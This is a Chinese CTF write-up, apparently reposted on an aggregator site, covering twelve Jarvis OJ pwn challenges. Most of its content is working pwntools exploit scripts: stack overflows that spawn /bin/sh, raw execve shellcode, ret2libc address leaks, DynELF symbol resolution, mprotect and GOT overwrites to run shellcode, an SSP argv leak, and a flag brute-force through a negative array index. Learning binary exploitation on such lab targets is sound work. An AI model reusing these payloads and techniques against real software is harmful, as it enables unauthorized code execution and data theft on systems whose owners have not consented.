Jarvis OJ Pwn writeup

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Jarvis OJ Pwn writeup相关的知识,希望对你有一定的参考价值。

Jarvis OJ Pwn writeup

开始刷Jarvis OJ 的Pwn题~

1、[XMAN]level0

最基本的题目,read函数有栈溢出,填充为0x80字节,rbp有8个字节,然后在0000000000400684有system("/bin/sh")执行shell,所以写出exp:

# -*- coding:utf-8 -*-
from pwn import *

sh = remote("pwn2.jarvisoj.com",9881) # 与服务器交互
# 填充
junk = ‘a‘*0x80
# 淹没bp

fakebp = ‘a‘*8
syscall = 0x0000000000400596
payload = junk + fakebp + p64(syscall) # p64对整数进行打包
sh.send(payload)
sh.interactive() # 直接反弹shell进行交互

初学,所以多说一些pwntools的用法,边做边学吧,这次主要涉及到这几个函数:

remote:主要用作远程和服务器交互,返回一个类似连接对象
send:发送数据,通过连接对象调用
interactive:反弹shell
p64:将数字转为字符串(p64/u64   p32/u32)

然后拿到shell,cat flag:
技术分享

2、[XMAN]level1

第题和上题类似,也是简单的栈溢出,但是需要自己写shellcode用来执行shell,所以唯一需要考虑的问题就是如何确定shellcode的地址。我们选择将shellcode放置在返回地址的后面,可以通过buf的地址计算这个返回地址。给出exp:

from pwn import *
# sh = process(‘./level1‘)  # local
sh = remote(‘pwn2.jarvisoj.com‘, 9877)  # remote
sh.recvuntil(‘:‘)
address = sh.recvuntil(‘?‘, drop=True)
address = int(address, 16)
print address
junk = ‘a‘ * 0x88
fakeebp = ‘aaaa‘
retaddr = address + 0x88 + 4 + 4
shellcode = "\\x31\\xc0\\x31\\xd2\\x31\\xdb\\x31\\xc9\\x31\\xc0\\x31\\xd2\\x52\\x68\\x2f\\x2f"     "\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x52\\x53\\x89\\xe1\\x31\\xc0\\xb0"     "\\x0b\\xcd\\x80\\n"
payload = junk + fakeebp + p32(retaddr) + shellcode
sh.send(payload)
sh.interactive()

拿到shell之后,cat flag
技术分享
刚开始学pwntools,还是多说说pwntools用法,这次涉及的函数有以下几个:

recvuntil(delims, drop=True):一直读到delims的pattern出现为止,drop=True表示是否丢弃pattern

再次总结一常用的读写发送模块的函数:

interactive() : 直接进行交互,相当于回到shell的模式,在取得shell之后使用
recv(numb=4096, timeout=default) : 接收指定字节
recvall() : 一直接收直到EOF
recvline(keepends=True) : 接收一行,keepends为是否保留行尾的\\n
recvuntil(delims, drop=False) : 一直读到delims的pattern出现为止,drop=True表示是否丢弃pattern
recvrepeat(timeout=default) : 持续接受直到EOF或timeout
send(data) : 发送数据
sendline(data) : 发送一行数据,相当于在数据末尾加\\n

3、[XMAN]level2(简单64位栈溢出)

技术分享
溢出点在read函数,然后搜索字符串发现在.data已经有/bin/sh中,所以直接通过system函数调用即可。
给出payload:

# -*- coding:utf-8 -*-
from pwn import *
# sh = process(‘./level2‘)  # local
sh = remote(‘pwn2.jarvisoj.com‘, 9878)  # remote
# print address
junk = ‘a‘ * 0x88 
fakebp = ‘a‘*4
sh_address = 0x0804A024  # /bin/sh
sys_address = 0x08048320
# 
payload = junk + fakebp + p32(sys_address)+‘aaaa‘+p32(sh_address)
sh.send(payload)
sh.interactive()

4、[XMAN]level2(x64)

这题和上题类似,但是由于是64位程序,传参方式不同于32位:

从第一个到第六个依次保存在rdi,rsi,rdx,rcx,r8,r9。从第7个参数开始,接下来的所有参数都将通过栈传递

所以这题最关键的就是怎么将/bin/sh的地址传给rdi?
这里有一个操作,在内存寻找到pop rdi,覆盖为返回地址,然后将栈的下一位设置为/bin/sh的地址,这样,执行完pop rdi之后,就会将/bin/sh放置到rdi中了。然后执行system,获取system函数也有两种方法:1、直接在内存中找地址。2、通过ELF模块加载程序,在plt中寻找system函数

给出exp:

# -*- coding:utf-8 -*-
from pwn import *
# sh = process(‘./level2_x64‘)
sh = remote(‘pwn2.jarvisoj.com‘,9882) 
junk = ‘a‘*0x80
fakebp = ‘a‘*8
sh_address = 0x0000000000600A90  # /bin/sh
# sys_address = 0x00000000004004C0

level2_x64 = ELF(‘./level2_x64‘)

sys_address = level2_x64.plt[‘system‘]
print(sys_address)
# payload

rdiret = 0x00000000004006b3  
payload = junk + fakebp +p64(rdiret)+p64(sh_address)+p64(sys_address)
sh.send(payload)
sh.interactive()

5、[XMAN]level3(32位下两次溢出拿shell)

这题就是很典型的一道题目:nc pwn2.jarvisoj.com 9879
首先看IDA,这是出问题的函数:
技术分享
明显的栈溢出,同时在程序中并没有发现system系统调用函数,也没有/bin/sh字符串,不过另外给了libc-2.19.so动态链接文件。用IDA查看该文件,可以获知writeup,read,system等函数在.so文件中的偏移,也可以获取/bin/sh字符串的偏移。
假设一个函数A在进程内存空间的地址为funA_address,在libc中的地址为funA_addr;函数B同样如此假设。
那么就存在这样一个等式成立:

funA_address - funA_addr = funB_address - funB_addr

在本题题中,我们想要获知的是系统调用函数system和关键字符串/bin/sh在内存空间的地址。
所以有此等式成立:

write_address - write_addr = system_address - system_addr = bin_address - bin_addr

这样,问题变成了如何得到write函数在内存空间中的地址?可以通过调用write函数本身打印write函数在GOT表中的条目,这个地址就是其在内存空间的地址。所以栈可以布置成这样:
技术分享

不过现在还有一个问题,Linux中默认开启ASLR,每次连接之后,这次泄露出的write地址在下一次连接是就变了,所以攻击需要在一次连接加载中完成。所以考虑两次溢出,将返回地址布置为vulnerable_function函数的地址,执行完write函数之后,eip指向这个函数再次执行,再次发送payload,执行系统调用获取shell。所以改完之后栈要布置成这样:
技术分享
这样就可以写exp了:

# -*- coding:utf-8 -*- 
from pwn import *

# sh = process(‘./level3‘) # local
# e = ELF(‘/lib/i386-linux-gnu/libc.so.6‘)
# context.log_level = ‘debug‘  # ?
sh =  remote(‘pwn2.jarvisoj.com‘, 9879) 
e = ELF(‘libc-2.19.so‘)

# offset 
readoffset = e.symbols[‘read‘]
writeoffset = e.symbols[‘write‘]
systemoffset = e.symbols[‘system‘]
binoffset = 0x0016084C

# plt 
readplt = 0x08048310
writeplt = 0x08048340

# got 
readgot = 0x0804A00C
writegot = 0x0804A018

# leak the run address of write

junk = ‘a‘*0x88 
fakebp = ‘a‘*4
vulfun = 0x0804844B
payload = junk + fakebp  + p32(writeplt) + p32(vulfun) + p32(1)+p32(writegot)+p32(4)

sh.recvuntil(‘Input:\\n‘)
sh.send(payload)
writeaddr = u32(sh.recv(4)) # the ture addr of write function


systemaddr = writeaddr - writeoffset + systemoffset
binaddr = writeaddr - writeoffset + binoffset

payload2 = junk + fakebp + p32(systemaddr)+‘a‘*4 +p32(binaddr)

sh.send(payload2)
sh.interactive()

cat flag:
技术分享

6、[XMAN]level3_x64(基本64位栈溢出,简单ROP)

此题与上题类似,传参使用64位方式,参数胡从左到右分别放在rdi, rsi, rdx, rcx, r8, r9。当参数为7个以上时, 前 6 个与前面一样, 但后面的依次从 “右向左” 放入栈中。
给出exp:

from pwn import *
# sh = process(‘./level3_x64‘)  # local
# e = ELF(‘/lib/x86_64-linux-gnu/libc.so.6‘)
# context.log_level = ‘debug‘
sh = remote(‘pwn2.jarvisoj.com‘, 9883)  # remote
e = ELF(‘libc-2.19.so‘)  # remote

level3 = ELF(‘./level3_x64‘)
# offset 
readoffset = e.symbols[‘read‘]
writeoffset = e.symbols[‘write‘]
systemoffset = e.symbols[‘system‘]
binoffset = 0x000000000017C8C3

# plt 
readplt = level3.plt[‘read‘]
writeplt = level3.plt[‘write‘]

# got 
readgot = level3.got[‘read‘]
writegot = level3.got[‘write‘]

# ret address 
rdiret = 0x00000000004006b3  # pop rdi
rsiret = 0x00000000004006b1  # pop rsi 

# leak the run address of write

junk = ‘a‘*0x80
fakebp = ‘a‘*8
vulfun = 0x00000000004005E6
payload1 = ""
payload2 = ""
# payload = junk + fakebp  + p32(writeplt) + p32(vulfun) + p32(1)+p32(writegot)+p32(4)
payload1+=junk+fakebp
payload1+=p64(rdiret)+p64(1) # the first argu
payload1+=p64(rsiret)+p64(writegot) # second
payload1+=p64(111) # thhird
payload1+=p64(writeplt)
payload1+=p64(vulfun)

sh.recvuntil(‘Input:\\n‘)
# gdb.attach(sh)

sh.send(payload1)
time.sleep(0.2)
writeaddr=u64(sh.recv(8))
# print(hex(writeaddr))

binaddr = writeaddr - writeoffset + binoffset
systemaddr = writeaddr - writeoffset + systemoffset
time.sleep(0.2)
# payload2
payload2+=junk+fakebp
payload2+=p64(rdiret)+p64(binaddr)
payload2+=p64(systemaddr)
sh.recvuntil(‘Input:\\n‘)
sh.send(payload2)
sh.interactive()

本地测试没通过,远程打通了,估计及是.so文件搞错了

7、[XMAN]level4(DynELF泄露system地址)

这题没有libc,可以使用pwntools的DynELF泄露出来,这篇文章讲的挺好的:http://bobao.360.cn/learning/detail/3298.html
那就简单了,思路就是通过DynELF模块泄露出system,然后将参数/bin/sh写入bss段上去。由于有ASLR的限制,所以要实现在一次连接多次溢出,要找一个三次pop ,一次ret的gadgets,通过ROPgadget就可以找到:
技术分享
地址0x08048509就比较合适。
然后给出exp:

from pwn import * 

# sh = process("./level4")
sh = remote("pwn2.jarvisoj.com",9880)
elf = ELF("./level4")

# plt 
read_plt = elf.plt[‘read‘]
write_plt = elf.plt[‘write‘]

# got
read_got = elf.got[‘read‘]
write_got = elf.got[‘write‘]

# some addrss 
vulfun_addr = elf.symbols[‘main‘]
pop3ret = 0x08048509 


# leak the address of system
junk = ‘a‘*0x88
fakebp = ‘a‘*4

def leak(address):  
    payload = junk + fakebp
    payload += p32(write_plt) + p32(pop3ret)
    payload += p32(1) + p32(address) + p32(4) + p32(vulfun_addr)
    sh.send(payload)
    data = sh.recv(4)
    print "%#x %s" % (address, data)
    return data


d = DynELF(leak, elf=ELF(‘./level4‘))
system_addr = d.lookup(‘system‘,‘libc‘)
print "system address: " + hex(system_addr)

# read bss
bss_addr = elf.bss()
payload1 = junk + fakebp
payload1 += p32(read_plt) + p32(pop3ret)
payload1 += p32(0) + p32(bss_addr) + p32(8)
payload1 += p32(system_addr) + p32(vulfun_addr) + p32(bss_addr)

# send paylaod and /bin/sh

sh.send(payload1)
sh.send(‘/bin/sh\\0‘)
sh.interactive()

8、[XMAN]level5(mprotect函数)

这题静止使用system函数,这就要用shellcode了。但是checksec发现开了NX,有两种方法绕过:
· 使用nmap开一段可以执行的空间,将shellcode放进去执行
· 使用mprotect,讲一段空间设置为RWX,将shellcode放进去执行

这里使用第二种方法(因为网上dalao用的就是这种方法,,,)
具体思路是这样的:
1、通过libc和write函数泄露出write函数在内存中地址,计算出mprotect函数地址
2、劫持GOT表,覆盖某些表项的地址,通过read函数可以输入这些地址,将mprotect函数地址,bss段地址写到GOT表中去,为了下一步可以通过call命令直接调用
3、使用__libc_csu_init函数末尾的通过gadgets进行函数调用,执行mprotect设置为可移植性,然后执行shellcode获取权限
这是具体exp,我是根据网上大神的思路自己又写一遍:

from pwn import *
context.log_level = ‘debug‘
context.terminal = [‘terminator‘,‘-x‘,‘bash‘,‘-c‘]
context.arch = ‘amd64‘
# sh = process("./level5")
sh = remote("pwn2.jarvisoj.com",9884)

elf = ELF("./level5")
libc = ELF("libc-2.19.so")
# libc = ELF(‘/lib/x86_64-linux-gnu/libc.so.6‘)

# plt 
read_plt = elf.plt[‘read‘]
write_plt = elf.plt[‘write‘]

# got 
read_got = elf.got[‘read‘]
write_got = elf.got[‘write‘]
libc_main_got = elf.got[‘__libc_start_main‘]
gmon_got = elf.got[‘__gmon_start__‘]


# offset 
system_offset = libc.symbols[‘system‘]
read_offset = libc.symbols[‘read‘]
write_offset = libc.symbols[‘write‘]
mprotect_offset = libc.symbols[‘mprotect‘]


# leak the address of write 
junk = ‘a‘*0x80
fakebp = ‘a‘*8
main_addr = elf.symbols[‘main‘]
pop_rdi_ret = 0x00000000004006b3  # pop rdi
pop_rsi_r15_ret = 0x00000000004006b1  # pop rsi 
sh.recv()
payload1 = junk + fakebp
payload1 += p64(pop_rsi_r15_ret)+ p64(write_got)+p64(0)
payload1 += p64(pop_rdi_ret) + p64(1)
payload1 += p64(write_plt) # leak the address of write

payload1 += p64(pop_rsi_r15_ret)+ p64(libc_main_got)+p64(0)
payload1 += p64(pop_rdi_ret) + p64(0)
payload1 += p64(read_plt) # read mprotect to __libc_start_main

payload1 += p64(pop_rsi_r15_ret)+ p64(elf.bss())+p64(0)
payload1 += p64(read_plt) # read shellcode to bss

payload1 += p64(pop_rsi_r15_ret)+ p64(gmon_got)+p64(0)
payload1 += p64(read_plt) # read bss addr to __gmon_start__

payload1 += p64(main_addr)


# send payload1 and get the addrss of write

print "************* send paylaod1 *************\\n"

# ss = raw_input()  
sh.send(payload1)
write_addr = u64(sh.recv()[:8])
print "write_address: " + hex(write_addr)


# calc the the address of mprotect
mprotect_addr = write_addr - write_offset + mprotect_offset
sh.send(p64(mprotect_addr))
shellcode = asm(shellcraft.amd64.sh())
sh.send(shellcode)
sh.send(p64(elf.bss()))

# sh.recv()
sh.recvuntil("Input:\\n")
# use mprotect and shellcode 
def p(n):
    return p64(n)

pay = pay = ‘a‘*0x80 + ‘bbbbbbbb‘#buffer padding
pay += p(0x00000000004006A6) #loc_4006A6
pay += ‘bbbbbbbb‘#padding
pay += p(0)#rbx
pay += p(1)#rbp
pay += p(elf.got[‘__libc_start_main‘])#r12->addr >> call mprotect to set 0x600000(rw-p) to rwxp so shellcode can be execute
pay += p(7)#r13->rdx
pay += p(0x1000)#r14->rsi
pay += p(0x00600000)#r15->edi
pay += p(0x0000000000400690)#loc_400690
#call second function
pay += ‘bbbbbbbb‘#padding
pay += p(0)#rbx
pay += p(1)#rbp
pay += p(elf.got[‘__gmon_start__‘])#r12->addr >> call p_shellcode
pay += p(0)#r13->rdx
pay += p(0)#r14->rsi
pay += p(0)#r15->edi
pay += p(0x0000000000400690)#loc_400690
sh.send(pay)
sh.interactive()

这个exp有点不稳定,本地打通了,远程好像不稳定

9、Test Your Memory(简单栈溢出,覆盖返回地址)

就是简单的栈溢出,没有canary保护,有NX,不能用shellcode,但是程序中有system函数,还有cat flag 参数,那就简单了,栈溢出执行系统调用,给出exp:

from pwn import *
context.log_level = ‘debug‘
context.terminal = [‘terminator‘,‘-x‘,‘bash‘,‘-c‘]

# sh = process("./memory")
sh = remote("pwn2.jarvisoj.com",9876)
elf =ELF("./memory") 

win_func_got = elf.symbols[‘win_func‘]
catFlag_addr = 0x080487E0
f = 0x080486E0
junk = ‘a‘*0x13
fakebp = ‘a‘*4

payload = junk + fakebp
payload += p32(win_func_got) + p32(catFlag_addr) + p32(catFlag_addr)


f0 = sh.recvuntil("> ")

sh.sendline(payload)
f1 = sh.recv(200)
f2 = sh.recv()
# print(u32(flag))
print "f0:   " + f0
print "f1:   " + f1
print "f2:   " + f2

10、Smashes(SSP(Stack Smashing Protector ) leak)

首先看看题目的保护:
技术分享
有NX,有canary,这就比较麻烦了,直接溢出会不行,而且好像没有得到canary值的方法。看了别人的博客,了解到了SSP(Stack Smashing Protector ) leak,就是主动触发栈保护,直到覆盖到arg[0]的值,实现任意内存读取,实践了一下,可以实现,原理这张图说的很清楚:
技术分享

但是输出FLAG的时候,发现没有输出,原因是这句话:
技术分享
在读取的时候,FLAG已经被清空了,这就涉及到另外一个知识,当ELF文件比较小的时候,他的不同区段可能会被多次映射,也就是说FLAG可能有备份,通过gdb插件peda找一下:
技术分享

OK,地址0x400d20就是备份,给出exp:

from pwn import *
# context.log_level = ‘debug‘
sh = remote(‘pwn.jarvisoj.com‘, 9877)
# sh = process(‘smashes‘)

flag_addr = 0x400d20
payload = p64(flag_addr)*200

sh.recvuntil("name?")
sh.sendline(payload)

sh.recv()
sh.sendline("1")
print sh.recv()

技术分享

11、Tell Me Something(简单栈溢出,覆盖返回地址)

简单栈溢出,返回地址为good_game,没有NX,没有canary,exp如下:

from pwn import *

# sh = process("./guestbook")
sh = remote("pwn.jarvisoj.com",9876)
elf = ELF("guestbook")

payload = ‘\\x00‘*136 + p64(0x0000000000400620) 

sh.recvuntil("message:\\n")
sh.sendline(payload)
print sh.recv()
# sh.recv()

技术分享
疑问:为什么exp有时候可以返回flag,有时候没有呢?

12、Guess(数组下标溢出)

首先看IDA,主函数逻辑就是通过socket绑定端口,没有什么。重要逻辑在handle函数中,通过输入hex编码后的flag值,与程序中硬编码的flag进行比对,若比对失败则报错。
这是handle函数:
技术分享

本来以为是fgets函数导致溢出,后查询得知,fgets会指定大小,如果超出数组大小,会自动根据定义数组的长度截断。不存在缓冲区溢出,但是存在下标溢出的问题,看is_flag_correct函数这段:
技术分享
然后看看flag和bin_by_hex在栈中的布局关系:
技术分享
flag在bin_by_hex上方0x40偏移处,所以如果我们构造bin_by_hex的索引值为负数,就可以读取flag值了。
再看bin_by_hex数组通过flag_hex数组值索引,并且flag_hex为char 型数组。也就是说当flag_hex的索引值找过128的之后,按整形输出就会变成负数,我们可以试一下,看这个程序:

#include <iostream>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
using namespace std;
int main()
{
    char flag_hex[256];
    int i;
    for (i=1;i<=255;i++)
    {
        flag_hex[i] = i;
    }
    printf("%d",flag_hex[0x40+128]);
}

输入是-64,这样就可以构造flag_hex第2i和2i+1位为‘0‘和chr(0x40 + 128 + i),然后value1 = 0,value2 = flag[i]。
所以我们写这样的exp;

# -*- coding: utf-8 -*-
from pwn import *
#context.log_level = ‘debug‘
context.terminal = [‘terminator‘,‘-x‘,‘bash‘,‘-c‘]
def e(n):
    return b.encode(‘hex‘)
rr=1
if rr:
    cn = remote(‘pwn.jarvisoj.com‘, 9878)
else:
    cn = remote(‘127.0.0.1‘,9999)
bin = ELF(‘./guess‘)
cn.recv()
raw_pay = ""
for i in range(50):
    raw_pay += ‘0‘
    raw_pay += chr(0x40+128+i)
cn.sendline(raw_pay)
print cn.recv()

比对成功,但是无法输出flag值:
技术分享

所以可以一位一位的爆破,结合网上别人的exp,自己也写了一份:

# -*- coding: utf-8 -*-
from pwn import *
#context.log_level = ‘debug‘
context.terminal = [‘terminator‘,‘-x‘,‘bash‘,‘-c‘]
def e(n):
  return b.encode(‘hex‘)
rr=1
if rr:
  cn = remote(‘pwn.jarvisoj.com‘, 9878)
else:
  cn = remote(‘127.0.0.1‘,9999)
bin = ELF(‘./guess‘)
cn.recv()
raw_pay = ""
for i in range(50):
  raw_pay += ‘0‘
  raw_pay += chr(0x40+128+i)


flag=""
for i in range(50):
  for j in range(128):
    if chr(j).isalnum() or chr(j)=="{" or chr(j)=="}":
        payload = list(raw_pay)
        # 构造每一位需要爆破的值
        payload[2*i] = chr(j).encode("hex")[0]
        payload[2*i+1] = chr(j).encode("hex")[1]
        payload = "".join(payload)
        cn.sendline(payload)
        re = cn.recvline()
        if "Yaaaay" in re:
            print chr(j)
            flag+=chr(j)
            break
  print flag

技术分享

























































以上是关于Jarvis OJ Pwn writeup的主要内容,如果未能解决你的问题,请参考以下文章

Jarvis OJ - [XMAN]level2 - Writeup

Jarvis OJ - class10 -Writeup

Jarvis OJ - 爬楼梯 -Writeup

jarvis OJ部分writeup

Jarvis OJ-Reverse题目Writeup

Jarvis OJ - DD-Hello -Writeup